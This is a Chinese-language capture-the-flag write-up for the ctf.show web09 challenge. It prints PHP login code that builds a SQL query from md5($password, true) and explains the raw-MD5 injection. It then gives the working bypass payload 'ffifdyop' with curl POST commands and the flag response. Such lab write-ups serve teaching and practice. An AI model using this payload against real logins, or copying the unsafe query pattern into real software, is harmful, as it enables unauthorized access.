web09

1.访问url


这里burp还有查看源码都没有用信息,尝试查看是否有robots.txt

2.尝试访问

robots.txt

1
2
3
curl -l https://ec66b6b9-7fe1-4de9-bef9-2dce69bfd269.challenge.ctf.show/robots.txt
User-agent: *
Disallow: /index.phps

这明确提示了服务器上存在源码文件 index.phpsphps 后缀通常用于展示 PHP 源代码(PHP Source)。

index.phps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
$flag="";
$password=$_POST['password'];
//密码长度不能大于10
if(strlen($password)>10){
die("password error");
}
//关键漏洞点
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";
$result=mysqli_query($con,$sql);
if(mysqli_num_rows($result)>0){
while($row=mysqli_fetch_assoc($result)){
echo "登陆成功<br>";
echo $flag;
}
}
?>

漏洞详解

代码中的关键漏洞在于 SQL 查询语句的拼接方式:

1
$sql="select * from user where username ='admin' and password ='".md5($password,true)."'"

这里使用了 md5($password, true)

  • 通常我们见到的 md5($str) 默认返回 32 字符的十六进制字符串(例如 e10adc3949...)。
  • 当第二个参数为 true 时,md5($str, true) 返回 16 字节的原始二进制格式

如果某个字符串的 MD5 原始二进制结果转换成字符串后,恰好包含 'or' 这样的字符序列,就可 以闭合前面的单引号,并构造出一个恒真的 SQL 条件,从而绕过密码验证。这就是所谓的 SQL 注入

3. 漏洞利用

我们需要寻找一个字符串,满足以下条件:

  1. 长度 <= 10(源码限制)。
  2. 其 MD5 原始二进制值包含类似于 ' or '... 的结构。

攻击载荷 (Payload)

一个广为人知的字符串是 ffifdyop。(其他wp中这样写?)
它的 MD5 哈希(Hex)是:276f722736c95d99e921722cf9ed621c
将其转换为原始字符串(Raw Binary)时:

  • 27 -> ' (单引号)
  • 6f -> o
  • 72 -> r
  • 27 -> ' (单引号)
  • 36 -> 6

转换过程 (Hex -> ASCII)

当代码调用 md5($password, true) 时,PHP
会把这串十六进制数每两个一组(即一个字节),转换成对应的原始字符:

  • 27: 十六进制 0x27 等于十进制 39。在 ASCII 表中,39 对应的字符就是 ' (单引号)。
  • 6f: 十六进制 0x6f 等于十进制 111。在 ASCII 表中,111 对应的字符是 o
  • 72: 十六进制 0x72 等于十进制 114。在 ASCII 表中,114 对应的字符是 r
  • 27: 又是 0x27,再次得到 ' (单引号)。
  • 36: 十六进制 0x36 等于十进制 54。在 ASCII 表中,54 对应的字符是 6

转换后的字符串开头是 'or'6...
将其代入 SQL 语句中:
select * from user where username ='admin' and password =''or'6<乱码>...'
在 MySQL 中:

  1. password = '' 为假。
  2. OR 后面的字符串 '6...' 会被转换为数字。由于以数字 6 开头,它会被转换成数字 6
  3. 数字 6 在布尔上下文中被视为 TRUE
    因此,整个 WHERE 子句变为 False OR True,结果为 True,成功绕过认证。

4.开始攻击

发送post请求

1
curl -X POST -d "username=admin&password=ffifdyop" https://ec66b6b9-7fe1-4de9-bef9-2dce69bfd269.challenge.ctf.show/index.php

最终结果

服务器响应:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
curl -X POST -d "username=admin&password=ffifdyop" https://406c1283-1994-4509-a459-8cd55d5b6c5e.challenge.ctf.show/
<html lang="zh-CN">

<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<meta name="viewport" content="width=device-width, minimum-scale=1.0, maximum-scale=1.0, initial-scale=1.0" />
<title>ctf.show_web9</title>
</head>
<body>
<center>
<h2>ctf.show_web9</h2>
<hr>
<h3>管理员认证</h3>
<form method="post">
用户名:<input type="text" value="admin" name="username"></br></br>
&nbsp;&nbsp;&nbsp;码:<input type="password" name="password"></br>
<input type="submit" value="登陆">
</form>
</center>

登陆成功<br>ctfshow{8870c875-82ca-425e-8f50-01bf7d52b0cf}
</body>
</html>